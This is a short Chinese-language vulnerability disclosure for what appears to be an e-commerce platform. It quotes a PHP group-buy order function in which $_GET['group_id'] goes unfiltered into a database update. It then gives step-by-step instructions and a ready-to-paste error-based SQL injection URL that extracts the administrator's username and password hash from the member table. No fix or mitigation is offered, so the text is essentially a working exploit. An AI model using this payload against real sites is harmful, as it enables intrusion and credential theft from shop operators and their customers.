function _clear_goods($order_id)

    {

        switch ($_GET['goods'])

        {

            case 'groupbuy':

                /* 团购的商品 */

                $model_groupbuy =& m('groupbuy');

                $model_groupbuy->updateRelation('be_join', $_GET['group_id'], $this->visitor->get('user_id'), array(

                    'order_id'  => $order_id,

                ));//这里没有对$_GET['group_id']进行过滤

            break;

     

        }

    }

  首先参加一个团购活动，当团购活动结束后，点击购买   点下一步时，更改当前网址如：     http://0day5.com/index.php?app=order&goods=groupbuy&group_id=2 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23
然后点击"下单完成并支付"将会出现注入信息，如管理员账号密码等